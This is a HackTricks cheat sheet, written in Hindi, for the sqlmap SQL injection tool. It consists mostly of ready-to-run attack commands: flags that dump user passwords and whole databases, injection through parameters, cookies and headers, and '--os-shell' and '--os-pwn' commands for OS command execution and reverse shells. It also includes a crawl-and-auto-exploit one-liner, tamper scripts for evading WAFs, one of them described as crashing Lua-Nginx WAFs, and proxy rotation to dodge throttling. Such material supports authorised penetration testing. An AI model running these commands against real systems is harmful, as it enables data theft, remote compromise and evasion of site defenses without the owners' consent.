SQLMap

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

SQLmap के लिए बुनियादी तर्क

सामान्य

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Technique फ़्लैग (--technique)

--technique आर्ग्युमेंट परिभाषित करता है कि sqlmap कौन-कौन सी SQL injection methods आज़माएगा। स्ट्रिंग में प्रत्येक वर्ण एक तकनीक का प्रतिनिधित्व करता है:

LetterTechniqueविवरण
BBoolean-based blindtrue/false शर्तों का उपयोग करके डेटा का अनुमान लगाता है
EError-basedविस्तृत DBMS error messages का उपयोग करके परिणामों को exfiltrate करता है
UUNION queryउसी चैनल के माध्यम से डेटा प्राप्त करने के लिए UNION SELECT स्टेटमेंट इंजेक्ट करता है
SStacked queriesअतिरिक्त स्टेटमेंट जोड़ता है जिन्हें ; से अलग किया गया है
TTime-based blindइंजेक्शन का पता लगाने के लिए देरी (SLEEP, WAITFOR) पर निर्भर करता है
QInline / out-of-bandLOAD_FILE() जैसी functions या DNS जैसे OOB चैनलों का उपयोग करता है

डिफ़ॉल्ट क्रम BEUSTQ है। आप इन्हें पुनर्व्यवस्थित या सीमित कर सकते हैं, उदाहरण के लिए केवल Boolean और Time-based उसी क्रम में:

sqlmap -u "http://target/?id=1" --technique="BT" --batch

सूचना प्राप्त करें

आंतरिक

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB डेटा

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection स्थान

Burp/ZAP capture से

request को capture करें और req.txt फ़ाइल बनाएं

sqlmap -r req.txt --current-user

GET Request Injection

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST अनुरोध Injection

sqlmap -u "http://example.com" --data "username=*&password=*"

Headers और अन्य HTTP Methods में Injections

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Second order injection

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

SQLmap के साथ एक वेबसाइट को Crawl करें और auto-exploit करें

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Injection का अनुकूलन

एक प्रत्यय सेट करें

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

पूर्वसर्ग

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

boolean injection खोजने में मदद

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription
apostrophemask.pyअपॉस्ट्रोफ़ी अक्षर को उसके UTF-8 full width समकक्ष से बदलता है
apostrophenullencode.pyअपॉस्ट्रोफ़ी अक्षर को उसके अवैध डबल यूनिकोड समकक्ष से बदलता है
appendnullbyte.pyपेलोड के अंत में एन्कोड किया हुआ NULL बाइट जोड़ता है
base64encode.pyदिए गए पेलोड के सभी कैरेक्टर को Base64 एन्कोड करता है
between.pygreater than ऑपरेटर (‘>’) को ‘NOT BETWEEN 0 AND #’ से बदलता है
bluecoat.pySQL स्टेटमेंट के बाद के स्पेस कैरेक्टर को एक वैध रैंडम खाली कैरेक्टर से बदलता है। उसके बाद character = को LIKE ऑपरेटर से बदलता है
chardoubleencode.pyदिए गए पेलोड के सभी कैरेक्टर को डबल URL-encode करता है (पहले से एन्कोड किए हुए को प्रोसेस नहीं करता)
commalesslimit.pyऐसे उदाहरण ‘LIMIT M, N’ को ‘LIMIT N OFFSET M’ से बदलता है
commalessmid.pyऐसे उदाहरण ‘MID(A, B, C)’ को ‘MID(A FROM B FOR C)’ से बदलता है
concat2concatws.pyऐसे उदाहरण ‘CONCAT(A, B)’ को ‘CONCAT_WS(MID(CHAR(0), 0, 0), A, B)’ से बदलता है
charencode.pyदिए गए पेलोड के सभी कैरेक्टर को URL-encode करता है (पहले से एन्कोड किए हुए को प्रोसेस नहीं करता)
charunicodeencode.pyदिए गए पेलोड में अनएन्कोड किए गए कैरेक्टर को Unicode-url-encode करता है (पहले से एन्कोड किए हुए को प्रोसेस नहीं करता). “%u0022”
charunicodeescape.pyदिए गए पेलोड में अनएन्कोड किए गए कैरेक्टर को Unicode-url-encode करता है (पहले से एन्कोड किए हुए को प्रोसेस नहीं करता). “\u0022”
equaltolike.pyoperator equal (‘=’) के सभी occurances को operator ‘LIKE’ से बदलता है
escapequotes.pyउद्धरण चिह्नों (’ और “) को स्लैश-एस्केप करता है
greatest.pygreater than ऑपरेटर (‘>’) को ‘GREATEST’ समकक्ष से बदलता है
halfversionedmorekeywords.pyप्रत्येक keyword से पहले versioned MySQL comment जोड़ता है
ifnull2ifisnull.pyऐसे उदाहरण ‘IFNULL(A, B)’ को ‘IF(ISNULL(A), B, A)’ से बदलता है
modsecurityversioned.pyपूरा क्वेरी को versioned comment से घेरता है
modsecurityzeroversioned.pyपूरा क्वेरी को zero-versioned comment से घेरता है
multiplespaces.pySQL keywords के चारों ओर कई spaces जोड़ता है
nonrecursivereplacement.pyप्री-डिफाइंड SQL keywords को ऐसे प्रतिनिधित्वों से बदलता है जो replacement (उदा. .replace(“SELECT”, “”)) filters के अनुकूल हों
percentage.pyप्रत्येक कैरेक्टर के सामने एक percentage साइन (‘%’) जोड़ता है
overlongutf8.pyदिए गए पेलोड के सभी कैरेक्टर को overlong UTF-8 में कन्वर्ट करता है (पहले से एन्कोड किए हुए को प्रोसेस नहीं करता)
randomcase.pyप्रत्येक keyword कैरेक्टर को रैंडम case वैल्यू से बदलता है
randomcomments.pySQL keywords में random comments जोड़ता है
securesphere.pyविशेष रूप से तैयार की गई स्ट्रिंग जोड़ता है
sp_password.pyDBMS logs से automatic obfuscation के लिए पेलोड के अंत में ‘sp_password’ जोड़ता है
space2comment.pyspace कैरेक्टर (’ ’) को comments से बदलता है
space2dash.pyspace कैरेक्टर (’ ‘) को dash comment (’–‘) से बदलता है, उसके बाद एक रैंडम स्ट्रिंग और नया लाइन (’\n’)
space2hash.pyspace कैरेक्टर (’ ‘) को pound कैरेक्टर (’#‘) से बदलता है, उसके बाद एक रैंडम स्ट्रिंग और नया लाइन (’\n’)
space2morehash.pyspace कैरेक्टर (’ ‘) को pound कैरेक्टर (’#‘) से बदलता है, उसके बाद एक रैंडम स्ट्रिंग और नया लाइन (’\n’)
space2mssqlblank.pyspace कैरेक्टर (’ ’) को वैध वैकल्पिक कैरेक्टर सेट से एक रैंडम blank कैरेक्टर से बदलता है
space2mssqlhash.pyspace कैरेक्टर (’ ‘) को pound कैरेक्टर (’#‘) से बदलता है, उसके बाद नया लाइन (’\n’)
space2mysqlblank.pyspace कैरेक्टर (’ ’) को वैध वैकल्पिक कैरेक्टर सेट से एक रैंडम blank कैरेक्टर से बदलता है
space2mysqldash.pyspace कैरेक्टर (’ ‘) को dash comment (’–‘) से बदलता है, उसके बाद नया लाइन (’\n’)
space2plus.pyspace कैरेक्टर (’ ‘) को plus (’+’) से बदलता है
space2randomblank.pyspace कैरेक्टर (’ ’) को वैध वैकल्पिक कैरेक्टर सेट से एक रैंडम blank कैरेक्टर से बदलता है
symboliclogical.pyAND और OR लॉजिकल ऑपरेटर्स को उनके प्रतीकात्मक समकक्ष (&& and ||) से बदलता है
unionalltounion.pyUNION ALL SELECT को UNION SELECT से बदलता है
unmagicquotes.pyquote कैरेक्टर (’) को multi-byte combo %bf%27 से बदलता है और अंत में generic comment जोड़ता है (काम करने के लिए)
uppercase.pyप्रत्येक keyword कैरेक्टर को upper case वैल्यू ‘INSERT’ से बदलता है
varnish.pyएक HTTP header ‘X-originating-IP’ जोड़ता है
versionedkeywords.pyप्रत्येक non-function keyword को versioned MySQL comment से घेरता है
versionedmorekeywords.pyप्रत्येक keyword को versioned MySQL comment से घेरता है
xforwardedfor.pyएक नकली HTTP header ‘X-Forwarded-For’ जोड़ता है
luanginxmore.pyPOST-only tamper जो payload से पहले लाखों dummy parameters जोड़कर Lua‑Nginx WAF parsers (उदा., Cloudflare) को ओवरफ्लो कर सकता है

luanginxmore आपके पेलोड से पहले ~4.2M random POST parameters जनरेट करता है; इसे केवल --method=POST के साथ उपयोग करें और बड़े रिक्वेस्ट साइज़ के कारण poorly configured Lua-Nginx WAFs के क्रैश होने की उम्मीद रखें।

हाल के स्विच जो सक्षम करने लायक हैं (>=1.9.x)

  • HTTP/2 transport: --http2 sqlmap को HTTP/2 पर बोलने के लिए मजबूर करता है (उन फ्रंट-एंड्स के खिलाफ मददगार जो HTTP/1.1 को rate-limit करते हैं लेकिन h2 पर ढील देते हैं)। HTTPS पिन करने के लिए --force-ssl के साथ मिलाएं।
  • Proxy rotation: --proxy-file proxies.txt --proxy-freq 3 सूची के माध्यम से रोटेट करेगा, हर 3 अनुरोधों पर proxy बदलता है ताकि IP-आधारित थ्रॉटलिंग से बचा जा सके।
  • Offline / purge modes: --offline cached session data को reuse करता है बिना लक्ष्य को छुए (कोई नेटवर्क ट्रैफ़िक नहीं), जबकि --purge जब आप समाप्त कर लें तो session/output directory को सुरक्षित रूप से मिटा देता है।
  • Mobile UA emulation: --mobile आपको लोकप्रिय स्मार्टफोन User-Agent को spoof करने का विकल्प देता है, जो उन APIs पर उपयोगी होता है जो मोबाइल क्लाइंट्स को अतिरिक्त फील्ड्स उजागर करते हैं।

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें